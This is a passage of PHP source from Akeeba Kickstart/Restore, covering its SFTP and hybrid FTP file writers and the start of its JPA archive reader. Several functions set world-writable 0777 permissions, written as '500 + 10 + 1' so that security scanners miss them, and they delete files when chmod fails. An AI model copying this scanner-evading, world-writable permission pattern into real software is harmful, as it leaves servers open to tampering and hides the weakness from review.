	/** @var resource SSH2 connection resource handle */
	private $_connection = null;

	/** @var string Current remote directory, including the remote directory string */
	private $_currentdir;

	public function __construct()
	{
		$this->host = AKFactory::get('kickstart.ftp.host', '');
		$this->port = AKFactory::get('kickstart.ftp.port', 22);

		if (trim($this->port) == '')
		{
			$this->port = 22;
		}

		$this->user    = AKFactory::get('kickstart.ftp.user', '');
		$this->pass    = AKFactory::get('kickstart.ftp.pass', '');
		$this->dir     = AKFactory::get('kickstart.ftp.dir', '');
		$this->tempDir = AKFactory::get('kickstart.ftp.tempdir', '');

		$connected = $this->connect();

		if ($connected)
		{
			if (!empty($this->tempDir))
			{
				$tempDir  = rtrim($this->tempDir, '/\\') . '/';
				$writable = $this->isDirWritable($tempDir);
			}
			else
			{
				$tempDir  = '';
				$writable = false;
			}

			if (!$writable)
			{
				// Default temporary directory is the current root
				$tempDir = KSROOTDIR;
				if (empty($tempDir))
				{
					// Oh, we have no directory reported!
					$tempDir = '.';
				}
				$absoluteDirToHere = $tempDir;
				$tempDir           = rtrim(str_replace('\\', '/', $tempDir), '/');
				if (!empty($tempDir))
				{
					$tempDir .= '/';
				}
				$this->tempDir = $tempDir;
				// Is this directory writable?
				$writable = $this->isDirWritable($tempDir);
			}

			if (!$writable)
			{
				// Nope. Let's try creating a temporary directory in the site's root.
				$tempDir                 = $absoluteDirToHere . '/kicktemp';
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				$this->createDirRecursive($tempDir, $trustMeIKnowWhatImDoing);
				// Try making it writable...
				$this->fixPermissions($tempDir);
				$writable = $this->isDirWritable($tempDir);
			}

			// Was the new directory writable?
			if (!$writable)
			{
				// Let's see if the user has specified one
				$userdir = AKFactory::get('kickstart.ftp.tempdir', '');
				if (!empty($userdir))
				{
					// Is it an absolute or a relative directory?
					$absolute = false;
					$absolute = $absolute || (substr($userdir, 0, 1) == '/');
					$absolute = $absolute || (substr($userdir, 1, 1) == ':');
					$absolute = $absolute || (substr($userdir, 2, 1) == ':');
					if (!$absolute)
					{
						// Make absolute
						$tempDir = $absoluteDirToHere . $userdir;
					}
					else
					{
						// it's already absolute
						$tempDir = $userdir;
					}
					// Does the directory exist?
					if (is_dir($tempDir))
					{
						// Yeah. Is it writable?
						$writable = $this->isDirWritable($tempDir);
					}
				}
			}
			$this->tempDir = $tempDir;

			if (!$writable)
			{
				// No writable directory found!!!
				$this->setError(AKText::_('SFTP_TEMPDIR_NOT_WRITABLE'));
			}
			else
			{
				AKFactory::set('kickstart.ftp.tempdir', $tempDir);
				$this->tempDir = $tempDir;
			}
		}
	}

	public function connect()
	{
		$this->_connection = false;

		if (!function_exists('ssh2_connect'))
		{
			$this->setError(AKText::_('SFTP_NO_SSH2'));

			return false;
		}

		$this->_connection = @ssh2_connect($this->host, $this->port);

		if (!@ssh2_auth_password($this->_connection, $this->user, $this->pass))
		{
			$this->setError(AKText::_('SFTP_WRONG_USER'));

			$this->_connection = false;

			return false;
		}

		$this->handle = @ssh2_sftp($this->_connection);

		// I must have an absolute directory
		if (!$this->dir)
		{
			$this->setError(AKText::_('SFTP_WRONG_STARTING_DIR'));

			return false;
		}

		// Change to initial directory
		if (!$this->sftp_chdir('/'))
		{
			$this->setError(AKText::_('SFTP_WRONG_STARTING_DIR'));

			unset($this->_connection);
			unset($this->handle);

			return false;
		}

		// Try to download ourselves
		$testFilename = defined('KSSELFNAME') ? KSSELFNAME : basename(__FILE__);
		$basePath     = '/' . trim($this->dir, '/');

		if (@fopen("ssh2.sftp://{$this->handle}$basePath/$testFilename", 'r+') === false)
		{
			$this->setError(AKText::_('SFTP_WRONG_STARTING_DIR'));

			unset($this->_connection);
			unset($this->handle);

			return false;
		}

		return true;
	}

	/**
	 * Changes to the requested directory in the remote server. You give only the
	 * path relative to the initial directory and it does all the rest by itself,
	 * including doing nothing if the remote directory is the one we want.
	 *
	 * @param   string $dir The (realtive) remote directory
	 *
	 * @return  bool True if successful, false otherwise.
	 */
	private function sftp_chdir($dir)
	{
		// Strip absolute filesystem path to website's root
		$removePath = AKFactory::get('kickstart.setup.destdir', '');
		if (!empty($removePath))
		{
			// UNIXize the paths
			$removePath = str_replace('\\', '/', $removePath);
			$dir        = str_replace('\\', '/', $dir);

			// Make sure they both end in a slash
			$removePath = rtrim($removePath, '/\\') . '/';
			$dir        = rtrim($dir, '/\\') . '/';

			// Process the path removal
			$left = substr($dir, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$dir = substr($dir, strlen($removePath));
			}
		}

		if (empty($dir))
		{
			// Because the substr() above may return FALSE.
			$dir = '';
		}

		// Calculate "real" (absolute) SFTP path
		$realdir = substr($this->dir, -1) == '/' ? substr($this->dir, 0, strlen($this->dir) - 1) : $this->dir;
		$realdir .= '/' . $dir;
		$realdir = substr($realdir, 0, 1) == '/' ? $realdir : '/' . $realdir;

		if ($this->_currentdir == $realdir)
		{
			// Already there, do nothing
			return true;
		}

		$result = @ssh2_sftp_stat($this->handle, $realdir);

		if ($result === false)
		{
			return false;
		}
		else
		{
			// Update the private "current remote directory" variable
			$this->_currentdir = $realdir;

			return true;
		}
	}

	private function isDirWritable($dir)
	{
		if (@fopen("ssh2.sftp://{$this->handle}$dir/kickstart.dat", 'w') === false)
		{
			return false;
		}
		else
		{
			@ssh2_sftp_unlink($this->handle, $dir . '/kickstart.dat');

			return true;
		}
	}

	public function createDirRecursive($dirName, $perms)
	{
		// Strip absolute filesystem path to website's root
		$removePath = AKFactory::get('kickstart.setup.destdir', '');
		if (!empty($removePath))
		{
			// UNIXize the paths
			$removePath = str_replace('\\', '/', $removePath);
			$dirName    = str_replace('\\', '/', $dirName);
			// Make sure they both end in a slash
			$removePath = rtrim($removePath, '/\\') . '/';
			$dirName    = rtrim($dirName, '/\\') . '/';
			// Process the path removal
			$left = substr($dirName, 0, strlen($removePath));
			if ($left == $removePath)
			{
				$dirName = substr($dirName, strlen($removePath));
			}
		}
		if (empty($dirName))
		{
			$dirName = '';
		} // 'cause the substr() above may return FALSE.

		$check = '/' . trim($this->dir, '/ ') . '/' . trim($dirName, '/');

		if ($this->is_dir($check))
		{
			return true;
		}

		$alldirs     = explode('/', $dirName);
		$previousDir = '/' . trim($this->dir, '/ ');

		foreach ($alldirs as $curdir)
		{
			if (!$curdir)
			{
				continue;
			}

			$check = $previousDir . '/' . $curdir;

			if (!$this->is_dir($check))
			{
				// Proactively try to delete a file by the same name
				@ssh2_sftp_unlink($this->handle, $check);

				if (@ssh2_sftp_mkdir($this->handle, $check) === false)
				{
					// If we couldn't create the directory, attempt to fix the permissions in the PHP level and retry!
					$this->fixPermissions($check);

					if (@ssh2_sftp_mkdir($this->handle, $check) === false)
					{
						// Can we fall back to pure PHP mode, sire?
						if (!@mkdir($check))
						{
							$this->setError(AKText::sprintf('FTP_CANT_CREATE_DIR', $check));

							return false;
						}
						else
						{
							// Since the directory was built by PHP, change its permissions
							$trustMeIKnowWhatImDoing =
								500 + 10 + 1; // working around overzealous scanners written by bozos
							@chmod($check, $trustMeIKnowWhatImDoing);

							return true;
						}
					}
				}

				@ssh2_sftp_chmod($this->handle, $check, $perms);
			}

			$previousDir = $check;
		}

		return true;
	}

	private function is_dir($dir)
	{
		return $this->sftp_chdir($dir);
	}

	private function fixPermissions($path)
	{
		// Turn off error reporting
		if (!defined('KSDEBUG'))
		{
			$oldErrorReporting = @error_reporting(0);
		}

		// Get UNIX style paths
		$relPath  = str_replace('\\', '/', $path);
		$basePath = rtrim(str_replace('\\', '/', KSROOTDIR), '/');
		$basePath = rtrim($basePath, '/');

		if (!empty($basePath))
		{
			$basePath .= '/';
		}

		// Remove the leading relative root
		if (substr($relPath, 0, strlen($basePath)) == $basePath)
		{
			$relPath = substr($relPath, strlen($basePath));
		}

		$dirArray  = explode('/', $relPath);
		$pathBuilt = rtrim($basePath, '/');

		foreach ($dirArray as $dir)
		{
			if (empty($dir))
			{
				continue;
			}

			$oldPath = $pathBuilt;
			$pathBuilt .= '/' . $dir;

			if (is_dir($oldPath . '/' . $dir))
			{
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				@chmod($oldPath . '/' . $dir, $trustMeIKnowWhatImDoing);
			}
			else
			{
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				if (@chmod($oldPath . '/' . $dir, $trustMeIKnowWhatImDoing) === false)
				{
					@unlink($oldPath . $dir);
				}
			}
		}

		// Restore error reporting
		if (!defined('KSDEBUG'))
		{
			@error_reporting($oldErrorReporting);
		}
	}

	function __wakeup()
	{
		$this->connect();
	}

	/*
	 * Tries to fix directory/file permissions in the PHP level, so that
	 * the FTP operation doesn't fail.
	 * @param $path string The full path to a directory or file
	 */

	public function process()
	{
		if (is_null($this->tempFilename))
		{
			// If an empty filename is passed, it means that we shouldn't do any post processing, i.e.
			// the entity was a directory or symlink
			return true;
		}

		$remotePath      = dirname($this->filename);
		$absoluteFSPath  = dirname($this->filename);
		$absoluteFTPPath = '/' . trim($this->dir, '/') . '/' . trim($remotePath, '/');
		$onlyFilename    = basename($this->filename);

		$remoteName = $absoluteFTPPath . '/' . $onlyFilename;

		$ret = $this->sftp_chdir($absoluteFTPPath);

		if ($ret === false)
		{
			$ret = $this->createDirRecursive($absoluteFSPath, 0755);

			if ($ret === false)
			{
				$this->setError(AKText::sprintf('SFTP_COULDNT_UPLOAD', $this->filename));

				return false;
			}

			$ret = $this->sftp_chdir($absoluteFTPPath);

			if ($ret === false)
			{
				$this->setError(AKText::sprintf('SFTP_COULDNT_UPLOAD', $this->filename));

				return false;
			}
		}

		// Create the file
		$ret = $this->write($this->tempFilename, $remoteName);

		// If I got a -1 it means that I wasn't able to open the file, so I have to stop here
		if ($ret === -1)
		{
			$this->setError(AKText::sprintf('SFTP_COULDNT_UPLOAD', $this->filename));

			return false;
		}

		if ($ret === false)
		{
			// If we couldn't create the file, attempt to fix the permissions in the PHP level and retry!
			$this->fixPermissions($this->filename);
			$this->unlink($this->filename);

			$ret = $this->write($this->tempFilename, $remoteName);
		}

		@unlink($this->tempFilename);

		if ($ret === false)
		{
			$this->setError(AKText::sprintf('SFTP_COULDNT_UPLOAD', $this->filename));

			return false;
		}
		$restorePerms = AKFactory::get('kickstart.setup.restoreperms', false);

		if ($restorePerms)
		{
			$this->chmod($remoteName, $this->perms);
		}
		else
		{
			$this->chmod($remoteName, 0644);
		}

		if (@is_file($this->filename) || @is_link($this->filename))
		{
			clearFileInOPCache($this->filename);
		}

		return true;
	}

	private function write($local, $remote)
	{
		$fp      = @fopen("ssh2.sftp://{$this->handle}$remote", 'w');
		$localfp = @fopen($local, 'r');

		if ($fp === false)
		{
			return -1;
		}

		if ($localfp === false)
		{
			@fclose($fp);

			return -1;
		}

		$res = true;

		while (!feof($localfp) && ($res !== false))
		{
			$buffer = @fread($localfp, 65567);
			$res    = @fwrite($fp, $buffer);
		}

		@fclose($fp);
		@fclose($localfp);

		return $res;
	}

	public function unlink($file)
	{
		$check = '/' . trim($this->dir, '/') . '/' . trim($file, '/');

		return @ssh2_sftp_unlink($this->handle, $check);
	}

	public function chmod($file, $perms)
	{
		return @ssh2_sftp_chmod($this->handle, $file, $perms);
	}

	public function processFilename($filename, $perms = 0755)
	{
		// Catch some error conditions...
		if ($this->getError())
		{
			return false;
		}

		// If a null filename is passed, it means that we shouldn't do any post processing, i.e.
		// the entity was a directory or symlink
		if (is_null($filename))
		{
			$this->filename     = null;
			$this->tempFilename = null;

			return null;
		}

		// Strip absolute filesystem path to website's root
		$removePath = AKFactory::get('kickstart.setup.destdir', '');
		if (!empty($removePath))
		{
			$left = substr($filename, 0, strlen($removePath));
			if ($left == $removePath)
			{
				$filename = substr($filename, strlen($removePath));
			}
		}

		// Trim slash on the left
		$filename = ltrim($filename, '/');

		$this->filename     = $filename;
		$this->tempFilename = tempnam($this->tempDir, 'kickstart-');
		$this->perms        = $perms;

		if (empty($this->tempFilename))
		{
			// Oops! Let's try something different
			$this->tempFilename = $this->tempDir . '/kickstart-' . time() . '.dat';
		}

		return $this->tempFilename;
	}

	public function close()
	{
		unset($this->_connection);
		unset($this->handle);
	}

	public function rmdir($directory)
	{
		$check = '/' . trim($this->dir, '/') . '/' . trim($directory, '/');

		return @ssh2_sftp_rmdir($this->handle, $check);
	}

	public function rename($from, $to)
	{
		$from = '/' . trim($this->dir, '/') . '/' . trim($from, '/');
		$to   = '/' . trim($this->dir, '/') . '/' . trim($to, '/');

		$result = @ssh2_sftp_rename($this->handle, $from, $to);

		if ($result !== true)
		{
			return @rename($from, $to);
		}
		else
		{
			return true;
		}
	}

}


/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * Hybrid direct / FTP mode file writer
 */
class AKPostprocHybrid extends AKAbstractPostproc
{

	/** @var bool Should I use the FTP layer? */
	public $useFTP = false;

	/** @var bool Should I use FTP over implicit SSL? */
	public $useSSL = false;

	/** @var bool use Passive mode? */
	public $passive = true;

	/** @var string FTP host name */
	public $host = '';

	/** @var int FTP port */
	public $port = 21;

	/** @var string FTP user name */
	public $user = '';

	/** @var string FTP password */
	public $pass = '';

	/** @var string FTP initial directory */
	public $dir = '';

	/** @var resource The FTP handle */
	private $handle = null;

	/** @var null The FTP connection handle */
	private $_handle = null;

	/**
	 * Public constructor. Tries to connect to the FTP server.
	 */
	public function __construct()
	{
		$this->useFTP  = true;
		$this->useSSL  = AKFactory::get('kickstart.ftp.ssl', false);
		$this->passive = AKFactory::get('kickstart.ftp.passive', true);
		$this->host    = AKFactory::get('kickstart.ftp.host', '');
		$this->port    = AKFactory::get('kickstart.ftp.port', 21);
		$this->user    = AKFactory::get('kickstart.ftp.user', '');
		$this->pass    = AKFactory::get('kickstart.ftp.pass', '');
		$this->dir     = AKFactory::get('kickstart.ftp.dir', '');
		$this->tempDir = AKFactory::get('kickstart.ftp.tempdir', '');

		if (trim($this->port) == '')
		{
			$this->port = 21;
		}

		// If FTP is not configured, skip it altogether
		if (empty($this->host) || empty($this->user) || empty($this->pass))
		{
			$this->useFTP = false;
		}

		// Try to connect to the FTP server
		$connected = $this->connect();

		// If the connection fails, skip FTP altogether
		if (!$connected)
		{
			$this->useFTP = false;
		}

		if ($connected)
		{
			if (!empty($this->tempDir))
			{
				$tempDir  = rtrim($this->tempDir, '/\\') . '/';
				$writable = $this->isDirWritable($tempDir);
			}
			else
			{
				$tempDir  = '';
				$writable = false;
			}

			if (!$writable)
			{
				// Default temporary directory is the current root
				$tempDir = KSROOTDIR;
				if (empty($tempDir))
				{
					// Oh, we have no directory reported!
					$tempDir = '.';
				}
				$absoluteDirToHere = $tempDir;
				$tempDir           = rtrim(str_replace('\\', '/', $tempDir), '/');
				if (!empty($tempDir))
				{
					$tempDir .= '/';
				}
				$this->tempDir = $tempDir;
				// Is this directory writable?
				$writable = $this->isDirWritable($tempDir);
			}

			if (!$writable)
			{
				// Nope. Let's try creating a temporary directory in the site's root.
				$tempDir                 = $absoluteDirToHere . '/kicktemp';
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				$this->createDirRecursive($tempDir, $trustMeIKnowWhatImDoing);
				// Try making it writable...
				$this->fixPermissions($tempDir);
				$writable = $this->isDirWritable($tempDir);
			}

			// Was the new directory writable?
			if (!$writable)
			{
				// Let's see if the user has specified one
				$userdir = AKFactory::get('kickstart.ftp.tempdir', '');
				if (!empty($userdir))
				{
					// Is it an absolute or a relative directory?
					$absolute = false;
					$absolute = $absolute || (substr($userdir, 0, 1) == '/');
					$absolute = $absolute || (substr($userdir, 1, 1) == ':');
					$absolute = $absolute || (substr($userdir, 2, 1) == ':');
					if (!$absolute)
					{
						// Make absolute
						$tempDir = $absoluteDirToHere . $userdir;
					}
					else
					{
						// it's already absolute
						$tempDir = $userdir;
					}
					// Does the directory exist?
					if (is_dir($tempDir))
					{
						// Yeah. Is it writable?
						$writable = $this->isDirWritable($tempDir);
					}
				}
			}
			$this->tempDir = $tempDir;

			if (!$writable)
			{
				// No writable directory found!!!
				$this->setError(AKText::_('FTP_TEMPDIR_NOT_WRITABLE'));
			}
			else
			{
				AKFactory::set('kickstart.ftp.tempdir', $tempDir);
				$this->tempDir = $tempDir;
			}
		}
	}

	/**
	 * Tries to connect to the FTP server
	 *
	 * @return bool
	 */
	public function connect()
	{
		if (!$this->useFTP)
		{
			return false;
		}

		// Connect to server, using SSL if so required
		if ($this->useSSL)
		{
			$this->handle = @ftp_ssl_connect($this->host, $this->port);
		}
		else
		{
			$this->handle = @ftp_connect($this->host, $this->port);
		}
		if ($this->handle === false)
		{
			$this->setError(AKText::_('WRONG_FTP_HOST'));

			return false;
		}

		// Login
		if (!@ftp_login($this->handle, $this->user, $this->pass))
		{
			$this->setError(AKText::_('WRONG_FTP_USER'));
			@ftp_close($this->handle);

			return false;
		}

		// Change to initial directory
		if (!@ftp_chdir($this->handle, $this->dir))
		{
			$this->setError(AKText::_('WRONG_FTP_PATH1'));
			@ftp_close($this->handle);

			return false;
		}

		// Enable passive mode if the user requested it
		if ($this->passive)
		{
			@ftp_pasv($this->handle, true);
		}
		else
		{
			@ftp_pasv($this->handle, false);
		}

		// Try to download ourselves
		$testFilename = defined('KSSELFNAME') ? KSSELFNAME : basename(__FILE__);
		$tempHandle   = fopen('php://temp', 'r+');

		if (@ftp_fget($this->handle, $tempHandle, $testFilename, FTP_ASCII, 0) === false)
		{
			$this->setError(AKText::_('WRONG_FTP_PATH2'));
			@ftp_close($this->handle);
			fclose($tempHandle);

			return false;
		}

		fclose($tempHandle);

		return true;
	}

	/**
	 * Is the directory writeable?
	 *
	 * @param string $dir The directory ti check
	 *
	 * @return bool
	 */
	private function isDirWritable($dir)
	{
		$fp = @fopen($dir . '/kickstart.dat', 'w');

		if ($fp === false)
		{
			return false;
		}

		@fclose($fp);
		unlink($dir . '/kickstart.dat');

		return true;
	}

	/**
	 * Create a directory, recursively
	 *
	 * @param string $dirName The directory to create
	 * @param int    $perms   The permissions to give to the directory
	 *
	 * @return bool
	 */
	public function createDirRecursive($dirName, $perms)
	{
		// Strip absolute filesystem path to website's root
		$removePath = AKFactory::get('kickstart.setup.destdir', '');

		if (!empty($removePath))
		{
			// UNIXize the paths
			$removePath = str_replace('\\', '/', $removePath);
			$dirName    = str_replace('\\', '/', $dirName);
			// Make sure they both end in a slash
			$removePath = rtrim($removePath, '/\\') . '/';
			$dirName    = rtrim($dirName, '/\\') . '/';
			// Process the path removal
			$left = substr($dirName, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$dirName = substr($dirName, strlen($removePath));
			}
		}

		// 'cause the substr() above may return FALSE.
		if (empty($dirName))
		{
			$dirName = '';
		}

		$check   = '/' . trim($this->dir, '/') . '/' . trim($dirName, '/');
		$checkFS = $removePath . trim($dirName, '/');

		if ($this->is_dir($check))
		{
			return true;
		}

		$alldirs       = explode('/', $dirName);
		$previousDir   = '/' . trim($this->dir);
		$previousDirFS = rtrim($removePath, '/\\');

		foreach ($alldirs as $curdir)
		{
			$check   = $previousDir . '/' . $curdir;
			$checkFS = $previousDirFS . '/' . $curdir;

			if (!is_dir($checkFS) && !$this->is_dir($check))
			{
				// Proactively try to delete a file by the same name
				if (!@unlink($checkFS) && $this->useFTP)
				{
					@ftp_delete($this->handle, $check);
				}

				$createdDir = @mkdir($checkFS, 0755);

				if (!$createdDir && $this->useFTP)
				{
					$createdDir = @ftp_mkdir($this->handle, $check);
				}

				if ($createdDir === false)
				{
					// If we couldn't create the directory, attempt to fix the permissions in the PHP level and retry!
					$this->fixPermissions($checkFS);

					$createdDir = @mkdir($checkFS, 0755);
					if (!$createdDir && $this->useFTP)
					{
						$createdDir = @ftp_mkdir($this->handle, $check);
					}

					if ($createdDir === false)
					{
						$this->setError(AKText::sprintf('FTP_CANT_CREATE_DIR', $check));

						return false;
					}
				}

				if (!@chmod($checkFS, $perms) && $this->useFTP)
				{
					@ftp_chmod($this->handle, $perms, $check);
				}
			}

			$previousDir   = $check;
			$previousDirFS = $checkFS;
		}

		return true;
	}

	private function is_dir($dir)
	{
		if ($this->useFTP)
		{
			return @ftp_chdir($this->handle, $dir);
		}

		return false;
	}

	/**
	 * Tries to fix directory/file permissions in the PHP level, so that
	 * the FTP operation doesn't fail.
	 *
	 * @param $path string The full path to a directory or file
	 */
	private function fixPermissions($path)
	{
		// Turn off error reporting
		if (!defined('KSDEBUG'))
		{
			$oldErrorReporting = error_reporting(0);
		}

		// Get UNIX style paths
		$relPath  = str_replace('\\', '/', $path);
		$basePath = rtrim(str_replace('\\', '/', KSROOTDIR), '/');
		$basePath = rtrim($basePath, '/');

		if (!empty($basePath))
		{
			$basePath .= '/';
		}

		// Remove the leading relative root
		if (substr($relPath, 0, strlen($basePath)) == $basePath)
		{
			$relPath = substr($relPath, strlen($basePath));
		}

		$dirArray  = explode('/', $relPath);
		$pathBuilt = rtrim($basePath, '/');

		foreach ($dirArray as $dir)
		{
			if (empty($dir))
			{
				continue;
			}

			$oldPath = $pathBuilt;
			$pathBuilt .= '/' . $dir;

			if (is_dir($oldPath . $dir))
			{
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				@chmod($oldPath . $dir, $trustMeIKnowWhatImDoing);
			}
			else
			{
				$trustMeIKnowWhatImDoing = 500 + 10 + 1; // working around overzealous scanners written by bozos
				if (@chmod($oldPath . $dir, $trustMeIKnowWhatImDoing) === false)
				{
					@unlink($oldPath . $dir);
				}
			}
		}

		// Restore error reporting
		if (!defined('KSDEBUG'))
		{
			@error_reporting($oldErrorReporting);
		}
	}

	/**
	 * Called after unserialisation, tries to reconnect to FTP
	 */
	public function __wakeup()
	{
		if ($this->useFTP)
		{
			$this->connect();
		}
	}

	public function __sleep()
	{
		if ($this->useFTP)
		{
			if (!is_null($this->_handle) && is_resource($this->_handle))
			{
				@ftp_close($this->_handle);
			}
		}

		$this->_handle = null;
	}


	public function __destruct()
	{
		if ($this->useFTP)
		{
			if (!is_null($this->handle) && is_resource($this->handle))
			{
				@ftp_close($this->handle);
			}
		}
	}

	/**
	 * Post-process an extracted file, using FTP or direct file writes to move it
	 *
	 * @return bool
	 */
	public function process()
	{
		if (is_null($this->tempFilename))
		{
			// If an empty filename is passed, it means that we shouldn't do any post processing, i.e.
			// the entity was a directory or symlink
			return true;
		}

		$remotePath = dirname($this->filename);
		$removePath = AKFactory::get('kickstart.setup.destdir', '');
		$root       = rtrim($removePath, '/\\');

		if (!empty($removePath))
		{
			$removePath = ltrim($removePath, "/");
			$remotePath = ltrim($remotePath, "/");
			$left       = substr($remotePath, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$remotePath = substr($remotePath, strlen($removePath));
			}
		}

		$absoluteFSPath  = dirname($this->filename);
		$relativeFTPPath = trim($remotePath, '/');
		$absoluteFTPPath = '/' . trim($this->dir, '/') . '/' . trim($remotePath, '/');
		$onlyFilename    = basename($this->filename);

		$remoteName = $absoluteFTPPath . '/' . $onlyFilename;

		// Does the directory exist?
		if (!is_dir($root . '/' . $absoluteFSPath))
		{
			$ret = $this->createDirRecursive($absoluteFSPath, 0755);

			if (($ret === false) && ($this->useFTP))
			{
				$ret = @ftp_chdir($this->handle, $absoluteFTPPath);
			}

			if ($ret === false)
			{
				$this->setError(AKText::sprintf('FTP_COULDNT_UPLOAD', $this->filename));

				return false;
			}
		}

		if ($this->useFTP)
		{
			$ret = @ftp_chdir($this->handle, $absoluteFTPPath);
		}

		// Try copying directly
		$ret = @copy($this->tempFilename, $root . '/' . $this->filename);

		if ($ret === false)
		{
			$this->fixPermissions($this->filename);
			$this->unlink($this->filename);

			$ret = @copy($this->tempFilename, $root . '/' . $this->filename);
		}

		if ($this->useFTP && ($ret === false))
		{
			$ret = @ftp_put($this->handle, $remoteName, $this->tempFilename, FTP_BINARY);

			if ($ret === false)
			{
				// If we couldn't create the file, attempt to fix the permissions in the PHP level and retry!
				$this->fixPermissions($this->filename);
				$this->unlink($this->filename);

				$fp = @fopen($this->tempFilename, 'r');
				if ($fp !== false)
				{
					$ret = @ftp_fput($this->handle, $remoteName, $fp, FTP_BINARY);
					@fclose($fp);
				}
				else
				{
					$ret = false;
				}
			}
		}

		@unlink($this->tempFilename);

		if ($ret === false)
		{
			$this->setError(AKText::sprintf('FTP_COULDNT_UPLOAD', $this->filename));

			return false;
		}

		$restorePerms = AKFactory::get('kickstart.setup.restoreperms', false);
		$perms        = $restorePerms ? $this->perms : 0644;

		$ret = @chmod($root . '/' . $this->filename, $perms);

		if ($this->useFTP && ($ret === false))
		{
			@ftp_chmod($this->_handle, $perms, $remoteName);
		}

		if (@is_file($this->filename) || @is_link($this->filename))
		{
			clearFileInOPCache($this->filename);
		}

		return true;
	}

	public function unlink($file)
	{
		$ret = @unlink($file);

		if (!$ret && $this->useFTP)
		{
			$removePath = AKFactory::get('kickstart.setup.destdir', '');
			if (!empty($removePath))
			{
				$left = substr($file, 0, strlen($removePath));
				if ($left == $removePath)
				{
					$file = substr($file, strlen($removePath));
				}
			}

			$check = '/' . trim($this->dir, '/') . '/' . trim($file, '/');

			$ret = @ftp_delete($this->handle, $check);
		}

		return $ret;
	}

	/**
	 * Create a temporary filename
	 *
	 * @param string $filename The original filename
	 * @param int    $perms    The file permissions
	 *
	 * @return string
	 */
	public function processFilename($filename, $perms = 0755)
	{
		// Catch some error conditions...
		if ($this->getError())
		{
			return false;
		}

		// If a null filename is passed, it means that we shouldn't do any post processing, i.e.
		// the entity was a directory or symlink
		if (is_null($filename))
		{
			$this->filename     = null;
			$this->tempFilename = null;

			return null;
		}

		// Strip absolute filesystem path to website's root
		$removePath = AKFactory::get('kickstart.setup.destdir', '');

		if (!empty($removePath))
		{
			$left = substr($filename, 0, strlen($removePath));

			if ($left == $removePath)
			{
				$filename = substr($filename, strlen($removePath));
			}
		}

		// Trim slash on the left
		$filename = ltrim($filename, '/');

		$this->filename     = $filename;
		$this->tempFilename = tempnam($this->tempDir, 'kickstart-');
		$this->perms        = $perms;

		if (empty($this->tempFilename))
		{
			// Oops! Let's try something different
			$this->tempFilename = $this->tempDir . '/kickstart-' . time() . '.dat';
		}

		return $this->tempFilename;
	}

	/**
	 * Closes the FTP connection
	 */
	public function close()
	{
		if (!$this->useFTP)
		{
			@ftp_close($this->handle);
		}
	}

	public function chmod($file, $perms)
	{
		if (AKFactory::get('kickstart.setup.dryrun', '0'))
		{
			return true;
		}

		$ret = @chmod($file, $perms);

		if (!$ret && $this->useFTP)
		{
			// Strip absolute filesystem path to website's root
			$removePath = AKFactory::get('kickstart.setup.destdir', '');

			if (!empty($removePath))
			{
				$left = substr($file, 0, strlen($removePath));

				if ($left == $removePath)
				{
					$file = substr($file, strlen($removePath));
				}
			}

			// Trim slash on the left
			$file = ltrim($file, '/');

			$ret = @ftp_chmod($this->handle, $perms, $file);
		}

		return $ret;
	}

	public function rmdir($directory)
	{
		$ret = @rmdir($directory);

		if (!$ret && $this->useFTP)
		{
			$removePath = AKFactory::get('kickstart.setup.destdir', '');
			if (!empty($removePath))
			{
				$left = substr($directory, 0, strlen($removePath));
				if ($left == $removePath)
				{
					$directory = substr($directory, strlen($removePath));
				}
			}

			$check = '/' . trim($this->dir, '/') . '/' . trim($directory, '/');

			$ret = @ftp_rmdir($this->handle, $check);
		}

		return $ret;
	}

	public function rename($from, $to)
	{
		$ret = @rename($from, $to);

		if (!$ret && $this->useFTP)
		{
			$originalFrom = $from;
			$originalTo   = $to;

			$removePath = AKFactory::get('kickstart.setup.destdir', '');
			if (!empty($removePath))
			{
				$left = substr($from, 0, strlen($removePath));
				if ($left == $removePath)
				{
					$from = substr($from, strlen($removePath));
				}
			}
			$from = '/' . trim($this->dir, '/') . '/' . trim($from, '/');

			if (!empty($removePath))
			{
				$left = substr($to, 0, strlen($removePath));
				if ($left == $removePath)
				{
					$to = substr($to, strlen($removePath));
				}
			}
			$to = '/' . trim($this->dir, '/') . '/' . trim($to, '/');

			$ret = @ftp_rename($this->handle, $from, $to);
		}

		return $ret;
	}
}

/**
 * Akeeba Restore
 * An AJAX-powered archive extraction library for JPA, JPS and ZIP archives
 *
 * @package   restore
 * @copyright Copyright (c)2008-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * JPA archive extraction class
 */
class AKUnarchiverJPA extends AKAbstractUnarchiver
{
	protected $archiveHeaderData = [];

	protected function readArchiveHeader()
	{
		debugMsg('Preparing to read archive header');
		// Initialize header data array
		$this->archiveHeaderData = new stdClass();

		// Open the first part
		debugMsg('Opening the first part');
		$this->nextFile();

		// Fail for unreadable files
		if ($this->fp === false)
		{
			debugMsg('Could not open the first part');

			return false;
		}

		// Fuzzy check for the start of archive.
		debugMsg('Fuzzy checking for archive signature');

		$sigFound = $this->fuzzySignatureSearch([
			'JPA',
		], 3);

		if (!$sigFound)
		{
			debugMsg('Cannot find a valid archive signature in the first 128Kb of the first part file');

			$this->setError(AKText::sprintf('ERR_INVALID_ARCHIVE_LONG', 'jpa', 'j'));

			return false;
		}

		debugMsg(sprintf('File signature found, position %d', ftell($this->fp)));

		// Read the signature
		$sig = fread($this->fp, 3);

		if ($sig != 'JPA')
		{
			// Not a JPA file
			debugMsg('Invalid archive signature');
			$this->setError(AKText::sprintf('ERR_INVALID_ARCHIVE_LONG', 'jpa', 'j'));

			return false;
		}

		// Read and parse header length
		$header_length_array = unpack('v', fread($this->fp, 2));
		$header_length       = $header_length_array[1];

		// Read and parse the known portion of header data (14 bytes)
